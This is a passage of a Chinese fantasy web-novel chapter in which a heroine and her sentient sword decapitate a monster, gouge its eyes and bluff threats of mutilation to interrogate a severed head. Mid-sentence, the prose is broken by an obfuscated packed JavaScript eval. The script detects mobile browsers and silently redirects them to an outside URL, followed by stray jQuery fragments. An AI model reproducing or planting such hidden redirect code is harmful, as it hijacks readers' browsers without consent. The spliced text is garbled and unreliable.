对方的力气明显比自己大得多,郁西干脆两手一松放弃拉扯。假郁西没想到郁西放弃的这么干脆,下一秒她竟然看见对方,弯腰下潜竟然主动朝着自己而来。


    她上身的手臂几乎全部黏在剑身上,郁西此时朝她来。她根本没有多余的手应对。


    假郁西当即把剑一甩,想腾出手来阻挡郁西。然而最终还是晚了一步,郁西一把薅住了她的头发,用力往上拉。


    假郁西的头皮瞬间绷紧,发根像是被无数根细勾同时拽住,整块头皮猛地一紧。


    “嘣。”


    细密的疼痛传来,她的头皮竟然被拉扯到与肉分离!假郁西的其他手很快缠上了郁西的手,它们或抠或抓想将头发从郁西手里拿出。


    它们也不敢用尽全力,因为他们只要稍微一用力,郁西便会使出更大一股力,来扯她的头发。


    “芋圆!”郁西在心中喊道;“等会儿我想办法把她另外一只眼睛抠下来,你看情况行把她脑袋割下来。”


    从习志义到刚才那个假路行,郁西明白这三人的弱点都在脑袋上。


    在嘱咐好芋圆后,郁西攒足力气用力一拉手中的头发。在浮力的帮助下,假郁西的身子竟然真的被郁西拉了上来!


    两人的距离在逐渐缩近,郁西两只手也不好受。两只手被对方打得乌紫,甚至右手的小拇指被对方掰折,到了一个诡异的幅度,但她仍旧不肯放手!


    近了!更近了!


    郁西不断在心中预估着距离,等到了自己有把握一把抓住对方眼睛的距离后,郁西左手固定住对方脑袋,果断松开右手。


    “芋圆,准备!”


    她的速度稳准狠直冲着对方完好的那只眼睛而去,头皮上持续传来的疼痛,假郁西根本不知道郁西已经松开一只手。


    等她的视线范围内突然出现一只手后,她还没反应过来。紧接着她眼前一黑,所有光线被郁西的手挡住了。


    熟悉的痛感再次传来,假郁西身上的肢体瞬间都蜷缩起来,她痛得浑身颤栗。


    芋圆抓住机会,按照她妈吩咐那样来到假郁西的脖颈处,用力一切。


    假郁西还没来得及从这股疼痛中缓过来,突然发现自己对身体的控制正在变弱。


    她心里一慌,控制着身上的手臂动了下,想知道这是不是她的错觉。


    涂着红色指甲油的手指轻微动了下,很快便静止不动。紧接着除了能感到眼睛的疼痛外,她失去了身体所有的感知。


    假郁西在水中变得又聋又瞎,郁西手里提着对方的头。因为红色指甲插在郁西肉里,她害怕直接拔出后,血流不止就让芋圆帮忙把那只手从手腕处砍断。


    她抓住剑柄,等浮出水面郁西终于能说话时,她赶紧问出心中的疑问,“路行呢?之前不是让你们倆在小青旁边等我吗?”


    “我带他等了一会儿,看你一直没出来,我怕你出什么事。就把他送到了岸边,想着进水接你。”芋圆解释。


    知道路行现在一个人昏迷地躺在岸边,郁西赶紧把画收好,带着芋圆往岸边去。


    “人呢?”


    郁西快到岸边时,在郁郁葱葱的草地上,并没有看见路行。她眉心一紧心中生出一个不太好的猜测:在过去的几分钟里,水里又冒出什么将失去意识的路行拖下水?


    如果是这样那可就太糟糕了!


    芋圆出声安慰:“妈,别急。”


    随着一人一剑离岸边越近,郁西看到了先前被草遮掩着的路行。


    郁西让芋圆将自己送到昏迷的路行身边,方便她查看对方的情况。


    到了离地还有十厘米时,郁西下意识地放开剑柄想直接挑下去。等双脚触地的瞬间,右脚脚踝传来疼痛感,她才想起自己的右脚受伤了。


    可是这会儿想起已经晚了,尽管郁西极力想维持住身体的平衡。但是她身体已然不受控制得朝一边倒去。


    正好砸在一旁昏迷的路行身上。


    “嗯。”昏迷中的路行被她砸得闷哼一声,差点没背过气。


    郁西手忙脚乱地想撑起身体,结果脚踝一疼,“啪叽”一下又栽了回去。


    “你能不能放我一马?”一个虚弱的声音从她身下传来,郁西一转头路行不知道什么时候醒了,正用无奈的眼神看着她。“你是生怕我活着,多吸你旁边两口空气是吗?”


    “对不起~对不起。我马上就起来了!”被路行这么一说,郁西也有些不好意思,她抿了抿嘴角,手用力一撑想借力起身。


    “咳咳咳咳。”路行突然发出剧烈地咳嗽声,“拿开……快把你的手拿开!”


    郁西再一回头,她的手恰好放在了路行胸部的位置。


    嗯?!


    郁西看了看自己的手,又看了看痛得脸色通红得路行,她像触电般地把手缩了回来,随即露出了一个尴尬的笑容,“哈哈,对不起啊不是故意要摸你的。”


    路行叹了口气,看着头顶被风吹到轻轻摇晃的树枝,这一刻他才有劫后余生的放松感。


    郁西见路行没说话也没吭声,两人一个躺在草里,一个坐在一时间现场安静得只能听到水声,以及树叶草木间的沙沙摩擦声。


    又过了几分钟。


    “谢谢。”


    “嗯?”


    安静许久的环境,突然响起一句谢谢再也没有别的声音,郁西以为自己幻听了。


    她转头路行不知道什么时候坐了起来,见郁西看过来。路行看着她的眼睛郑重地对她说了句,“谢谢。”


    郁西没有搭话,她看出来路行还有话要说,果然在短暂的两秒后,路行开口了,“你是个好人。”


    ?


    “哼~”郁西被对方莫名其妙发好人卡的行为逗笑了,“弄了半天,你想说的就是这个啊?那你这眼神还挺有问题的,到现在才知道我是个好人。”


    路行:“我……”


    “哎呦~哎呦~好疼啊。”两人的视线都落到了,郁西手边突然哀嚎的脑袋上。


    在郁西不知道的时候,这颗脑袋已经不在是和郁西一样的脸,而


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629868|170125||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是换成另一张面孔。


    鱼艳完全不知道刚才发生了什么,在她还没被郁西拉出水的那一刻。


    她就已经疼晕了,刚才才清醒过来。


    “你把她抓上来了?”看着鱼艳空荡荡的眼眶,路行有些惊讶,他记得自己当时只弄瞎了对方一只眼睛。“另一只眼睛是你弄的?”


    郁西点点头承认了,这边鱼艳的哀嚎声一直没有停止。


    郁西拍了拍鱼艳的脸,“别叫了!别叫了!有点事问你。”


    鱼艳的哀叫声戛然而止,她呲着牙,“要不是你们把我眼珠挖了,我怎么会疼得一直叫?有事问我?做梦!我什么都不会告诉你的!”


    说完她便闭上了嘴巴,一副闭口不谈的模样。


    路行郁西两人对视一眼,郁西看到只剩一颗头的鱼艳冷笑一声,“你以为你有的选吗?”


    郁西废话不多说,当即从口袋里掏出画来,叫了一声小青,一只青黑的手拿着一颗头从画里钻了出来,“别打我~别打我。”


    听见熟悉的声音,鱼艳的表情微动,“你们对他做什么了?”


    郁西冷声道:“没做什么,就跟你一样。只是想让他配合我,回答一些事情。但他跟你一样——不听啊。所以我们就把他的眼珠给挖了出来。然后再割了他的鼻头,紧接着一只耳朵。”


    郁西语气认真仿佛这一切都是真实发生过的事情,路行看着男人完好的鼻头、眼眶眼里露出眉头上抬,看着郁西一副你怎么睁眼说瞎话的表情。


    郁西是食指放在嘴唇边,示意路行不要说话。


    听着郁西说的一切,鱼艳吞了吞口水很明显觉得害怕了,但她还是嘴硬,“你别想骗我,反正我什么都不会说的!”


    “是吗?”郁西用手摸了摸鱼艳的鼻头,故意压低自己的声音,“既然你不愿意说的话,我就只能先割下你的鼻头,然后再把你两只耳朵割下,最后把你舌头也拔了,让你又聋又瞎,以后再也说不话。”


    郁西说完也不再多废话,拿出芋圆在鱼艳的鼻头开始比划起来。


    冰冷的剑身紧贴着鼻头,鱼艳也变得忐忑起来,她内心开始了动摇。这人该不会是来真的吧?


    “我数三声,如果你还坚持不说的话,我可不会手软哦。”


    利刃轻轻划过鱼艳的鼻头,苍白的皮肤上被划出几道细微的伤痕。在神经高度紧绷下,鱼艳觉得这伤口都快赶上眼眶的疼了。


    “三、二……一!”随着郁西倒计时的结束,鱼艳突然感受到从头上吹下来了一阵风,一定是对方剑砍下来时带起的风!她来真的!


    “啊!”鱼艳吓得叫出了声,“说!我说!”


    “识时务者为俊杰。”郁西听到对方的回答满意地点了点头,她不再从上方对着鱼艳的鼻子吹气。


    从头看到尾的路行,看着这一幕嘴角也跟着郁西勾了起来。


    郁西把鱼艳的头放到了地上,“说说你们倆和习志义的事,还有水底下的那些手脚到底是怎么一回事?都给我一一说清楚!”